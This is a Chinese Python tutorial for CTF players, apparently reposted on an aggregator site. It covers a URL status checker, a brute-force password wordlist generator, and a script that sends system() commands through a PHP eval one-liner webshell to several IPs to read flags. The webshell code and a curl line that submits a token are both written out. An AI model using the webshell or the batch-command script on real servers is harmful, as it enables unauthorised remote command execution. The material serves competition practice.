Python从0到POC编写--实用小脚本

news2024/12/26 23:16:05

UrlCheck:

假设我们要对一份 url 列表进行访问是不是 200 ,

量多的话肯定不能一个一个去点开看,

这个时候我们可以借助脚本去判断,

假如有一份这样的列表,

这份列表呢,奇奇怪怪,有些写错了,有些没补全。


http://www.baidu.com
htt://www.sql.com
https://www.taobao.com
www.jd.com
https://www.360.com
http://www.suning.com
www.meituan.com
https://www.mi.com

现在呢,我们有了一份奇怪的列表要去判断,

当然这是教程,就从最简单的开始讲。


首先进行分解操作,先把列表内容读取出来,

假设这份列表在 D 盘,名为 url.txt


file = open('D:/url.txt','r')  # 使用读的方式打开文件

for url in file.readlines():  # 每次读取一行内容
	print(url)

file.close()

现在来看看代码运行的结果

images


可以看到读取的时候多了一个回车 ,

这个时候我们可以使用 strip() 方法来消除回车

strip() 方法用于移除字符串头尾指定的字符(默认为空格)或字符序列。


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')      # 清除回车
	print(url)

file.close()  # 关闭文件

最后结尾不要忘记关闭文件哦!!

现在再来看看效果,已经没有回车了

images


第二步:

第二步就是要把这些没有写的协议,或者没有补全的协议全部替换为我们的内容,

不管用户输入的是什么,都替换为我们安排的内容,

现在呢,代码是这样子的,需要把一些标签替换为空,把 url 变为原始样貌

这里就直接暴力替换了


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')

	url = url.replace('\n','')     # 把回车替换为空
	url = url.replace('htt://','')
	url = url.replace('http://','')
	url = url.replace('https://','')

	print(url)

file.close()

现在来看看运行效果

images


第三步:

现在我们就可以开始编写 Check 脚本了

这个就是判断状态码是不是 200 了

编写思路为首先使用 http 去访问,如果不行再换成 https

因为有些网站 http 访问不了,要使用 https 才可以


import requests
import time

def Check(url):

	headers = {

		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	}

	try:

		urls = 'http://'+url  # 首先使用 http 去访问 http://www.xxx.com

		r = requests.get(urls,headers=headers,timeout=5)

		if r.status_code == 200:  # 判断状态码是不是 200

			print(urls + ' ----> ' + str(r.status_code))

	except:

		try:

			urls = 'https://'+url  # 如果 http 不行再使用 https

			r = requests.get(urls,headers=headers,timeout=5)

			if r.status_code == 200: # 判断状态码是不是 200

				print(urls + ' ----> ' + str(r.status_code))

		except:

			print(urls + ' ----> 无法访问 ')	


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')

	url = url.replace('\n','')
	url = url.replace('htt://','')
	url = url.replace('http://','')
	url = url.replace('https://','')

	Check(url)

file.close()

接下来看看运行效果

images


为了更方便一点,我们可以将能访问和不能访问的 url 写入到文件中

这样的话找起来也方便一点


import requests
import time

def Check(url):

	headers = {

		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	}

	try:

		urls = 'http://'+url

		r = requests.get(urls,headers=headers,timeout=5)

		if r.status_code == 200:

			# 将可以访问的 url 写入到 D 盘下的 可以访问列表.txt 文件

			f = open('D:/可以访问列表.txt','a+')
			f.write(urls+'\n')
			f.close()

			# print(urls + ' ----> ' + str(r.status_code))

	except:

		try:

			urls = 'https://'+url

			r = requests.get(urls,headers=headers,timeout=5)

			if r.status_code == 200:

				# print(urls + ' ----> ' + str(r.status_code))

		except:

			# 将不能访问的 url 写入到 D 盘下的 error.txt 文件

			f = open('D:/error.txt','a+')  
			f.write(urls+'\n')
			f.close()

			# print(urls + ' ----> 无法访问 ')	


file = open('D:/url.txt','r')

for url in file.readlines():
	url = url.strip('\n')

	url = url.replace('\n','')
	url = url.replace('htt://','')
	url = url.replace('http://','')
	url = url.replace('https://','')

	Check(url)

file.close()

最后结果就是这样

images


密码字典:

这个脚本源自于一道ctf题,

在解题的过程中,只能看到一半的密码,

剩下的就需要生成密码爆破了。


首先还是先学习下相关模块

string 模块中定义了一些常用的属性(包含所有数字,字母,可打印的所有ascii码等)

常用的一些属性:


string.ascii_letters     # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
string.ascii_lowercase   # 'abcdefghijklmnopqrstuvwxyz'
string.ascii_uppercase   # 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
string.digits            # '0123456789'
string.hexdigits         # '0123456789abcdefABCDEF'
string.octdigits         # '01234567'
string.printable         # '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU...
string.punctuation       # '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
string.whitespace        # ' \t\n\r\x0b\x0c'

使用也很简单

例:


import string

pwd = string.octdigits

print(pwd)

#  打印 01234567

也可以使用 for 循环读取字符

例:


import string

for pwd in string.octdigits:

	print(pwd)

现在假设有一个5位数密码 abcxx,

我们只知道前三位,然后需要去爆破后两位,

假设后两位是数字和字母组合,

那么我们就生成他


import string

pwd = 'abc'

for x in string.ascii_letters:
	for y in string.digits:	
		password = pwd + x + y
		print(password)

现在我们来看看运行效果,

这样就生成了,

images


当然如果想要写入到 txt 文本中也行 ,


import string

pwd = 'abc'

for x in string.ascii_letters:
	for y in string.digits:	
		password = pwd + x + y
		# print(password)
		file = open('D:/pwd.txt','a+')
		file.write(password+'\n')
		file.close()

这样就完成了


GetFlag:

在ctf比赛中,为了能够快速获取flag,获得更多的分数,

我们通常需要配合脚本一起完成。

下面假设我们已经获取了shell,接下来就批量获取flag了。

假设 flag 在网站根目录,flag 为 flag{hello}

这个shell为一句话, <?php error_reporting(0);eval($_POST[cmd]);?>


写法就跟前面提到的 批量poc差不多,也跟 UrlCheck 差不多,

只不过是 这里使用 post 提交


import requests
import time

def getflag(url):

	try:

		# url = 'http://localhost/shell.php'

		headers = {

			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'

		}

		payload = {"cmd":"system('type flag.txt');"}

		r = requests.post(url,headers=headers,data=payload,timeout=1)

		if r.text:
			print(url+' -----> '+r.text)
			# print(r.text)

	except:

		# print(url+' -----> error')
		return   #  return 一个空


dic = [

	'http://192.168.1.2/shell.php',
	'http://192.168.1.3/shell.php',
	'http://192.168.1.4/shell.php',
	'http://192.168.1.5/shell.php',
	'http://localhost/shell2.php',

]

for url in dic:
	getflag(url)

运行效果

images


这里使用内置字典,当然也使用外置,

另外因为实验环境是 win ,所以使用 type 命令获取内容,

比赛一般是 Linux 服务器,使用 cat 命令,

当然,比赛一般有两种获取flag的方式,

一种是从网站根目录下获取,

另外一种是 通过 flag box 去读取,

那么system('type flag.txt'); 命令就应该换成 system('curl http://10.0.0.1');

如果需要 token的话,那么就是 system('curl http://10.0.0.1?token=ab13bakj3baj1kkab1');

好了,就到这里吧!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1657331.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Spring Boot的公司OA系统设计与实现

基于Spring Boot的银行OA系统设计与实现 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea 系统部分展示 用户登录界面&#xff0c;在银行OA系统运行后&#x…

刷题第3天(中等题):LeetCode24--两两交换链表中的节点--递归法

LeetCode24&#xff1a; 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交换&#xff09;。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4…

FastDFS - 无法获取服务端连接资源:can‘t create connection to/xx.xx.xx.xx:0

问题描述 根据官方文档 安装完FastDFS服务器后&#xff0c; 服务正常启动&#xff0c;但是在 SpringBoot 项目使用 fastdfs-client 客户端报错无法获取服务端连接资源&#xff1a;cant create connection to/xx.xx.xx.xx:0, 一系列排查发现是获取到的 tracker 端口为 0 。 co…

Docx文件误删除如何恢复?别再花冤枉钱了,4个高效恢复软件!

不管是工作还是学习&#xff0c;总是会与各种各样的文件打交道。文件量越多就越容易出现文件丢失、文件误删的情况。遇到这些情况&#xff0c;失去的文件还能找回来吗&#xff1f;只要掌握了一些数据恢复方法&#xff0c;是很有机会恢复回来的&#xff0c;下面我会将这些方法分…

生信分析进阶2 - 利用GC含量的Loess回归矫正reads数量

在NGS数据比对后&#xff0c;需要矫正GC偏好引起的reads数量误差可用loess回归算法&#xff0c;使用R语言对封装的loess算法实现。 在NIPT中&#xff0c;GC矫正对检测结果准确性非常重要&#xff0c;具体研究参考以下文章。 Noninvasive Prenatal Diagnosis of Fetal Trisomy…

static静态成员变量和静态方法

当有new创建一个对象的,里面属性和方法,通过构造函数,能定义多个不同的对象,在我们做面向对象开发的时候,给一个场景,人在一个班级的时候,你的老师可能是固定的。 当我们用构造方法去构造的时候&#xff0c;每次都去传递一个固定的实参去定义个老师。 这样好会显得代码非常的…

DNS 解析在网络传输中有什么意义?

首先我们先说说什么是DNS解析&#xff1f; DNS解析是将域名解析为对应的IP地址的过程。DNS它作为将域名和IP地址相互映射的一个分布式数据库&#xff0c;能够使人更方便地访问互联网。DNS解析的过程就是寻找哪个IP地址对应你所输入的网址&#xff0c;然后将网页内容返回给用户…

常用的文件摆渡系统有哪些 | 好用的文件摆渡系统推荐

一、什么是文件摆渡系统 简单来说&#xff0c;文件摆渡系统是一种高效的、以文件为中心的文件管理系统&#xff0c;它的出现旨在解决企业在文件传输、共享和管理过程中的种种痛点。 更为值得一提的是&#xff0c;文件摆渡系统还具备强大的安全合规性&#xff0c;能够有效防止…

MultiBooth:文本驱动的多概念图像生成技术

在人工智能的领域&#xff0c;将文本描述转换为图像的技术正变得越来越先进。最近&#xff0c;一个由清华大学和Meta Reality Labs的研究人员组成的团队&#xff0c;提出了一种名为MultiBooth的新方法&#xff0c;它能够根据用户的文本提示&#xff0c;生成包含多个定制概念的图…

pytorch加载模型出现错误

大概的错误长下面这样&#xff1a; 问题出现的原因&#xff1a; ​很明显&#xff0c;我就是犯了第一种错误。 网上的修改方法&#xff1a; 我觉得按道理哈&#xff0c;确实&#xff0c;蓝色部分应该是可以把问题解决了的​。​但是我没有解决&#xff0c;因为我犯了另外一个错…

Django关于ORM的增删改查

Django中使用orm进行数据库的管理&#xff0c;主要包括以下步骤 1、创建model&#xff0c; 2、进行迁移 3、在视图函数中使用 以下的内容可以先从查询开始看&#xff0c;这样更容易理解后面删除部分代码 主要包括几下几种&#xff1a; 1、增 1&#xff09;实例例化model,代…

struct和union大小计算规则

Union 一&#xff1a;联合类型的定义 联合也是一种特殊的自定义类型&#xff0c;这种类型定义的变量也包含一系列的成员&#xff0c;特征是这些成员公用同一块空间&#xff08;所以联合也叫共用体&#xff09; 比如&#xff1a;共用了 i 这个较大的空间 二&#xff1a; 联合的…

每日Attention学习4——Spatial Attention Module

模块出处 [link] [code] [MM 21] Complementary Trilateral Decoder for Fast and Accurate Salient Object Detection 模块名称 Spatial Attention Module (SAM) 模块作用 空间注意力 模块结构 模块代码 import torch import torch.nn as nn import torch.nn.functional a…

CTFHUB-技能树-Web题-RCE(远程代码执行)-eval执行

CTFHUB-技能树-Web题-RCE&#xff08;远程代码执行&#xff09; 文章目录 CTFHUB-技能树-Web题-RCE&#xff08;远程代码执行&#xff09;eval执行解题方法&#xff1a;构造网址&#xff0c;查找当前目录文件并没有发现flag,接着查看上一级目录接着查看上一级接着查看上一级目录…

Transformer详解:从放弃到入门(完结)

前几篇文章中&#xff0c;我们已经拆开并讲解了Transformer中的各个组件。现在我们尝试使用这些方法实现Transformer的编码器。 相关文章&#xff1a; Transformer详解&#xff1a;从放弃到入门&#xff08;一&#xff09; Transformer详解&#xff1a;从放弃到入门&#xff08…

【爬虫基础1.1课】——requests模块

目录索引 requests模块的作用&#xff1a;实例引入&#xff1a; 特殊情况&#xff1a;锦囊1&#xff1a;锦囊2: 这一个栏目&#xff0c;我会给出我从零开始学习爬虫的全过程。感兴趣的小伙伴可以关注一波&#xff0c;用于复习和新学都是不错的选择。 那么废话不多说&#xff0c…

AJAX知识点(前后端交互技术)

原生AJAX AJAX全称为Asynchronous JavaScript And XML,就是异步的JS和XML&#xff0c;通过AJAX可以在浏览器中向服务器发送异步请求&#xff0c;最大的优势&#xff1a;无需刷新就可获取数据。 AJAX不是新的编程语言&#xff0c;而是一种将现有的标准组合在一起使用的新方式 …

中小学校活动向媒体投稿报道宣传有哪些好方法

作为一所中小学校的教师,我肩负着向外界展示学校风采、宣传校园文化活动的重要使命。起初,每当学校举办特色活动或取得教学成果时,我都会满怀热情地撰写新闻稿,希望通过媒体的平台让更多人了解我们的故事。然而,理想丰满,现实骨感,我很快发现,通过电子邮件向媒体投稿的过程充满…

ICode国际青少年编程竞赛- Python-1级训练场-变量的计算

ICode国际青少年编程竞赛- Python-1级训练场-变量的计算 1、 a 2 for i in range(4):Spaceship.step(a-1)Dev.step(a)Dev.step(-a)a a 12、 a 2 for i in range(4):Dev.step(2 a)Dev.step(-a)Dev.turnRight()a a 13、 y 4 for i in range(3):Dev.step(y)Dev.turnRigh…

计算方法实验9:Romberg积分求解速度、位移

任务 输出质点的轨迹 ( x ( t ) , y ( t ) ) , t ∈ { 0.1 , 0.2 , 0.3 , . . . , 10 } (x(t), y(t)), t\in \{0.1, 0.2, 0.3, ..., 10\} (x(t),y(t)),t∈{0.1,0.2,0.3,...,10}&#xff0c;并在二维平面中画出该轨迹.请比较M分别取4, 8, 12, 16, 20 时&#xff0c;Romberg积分达…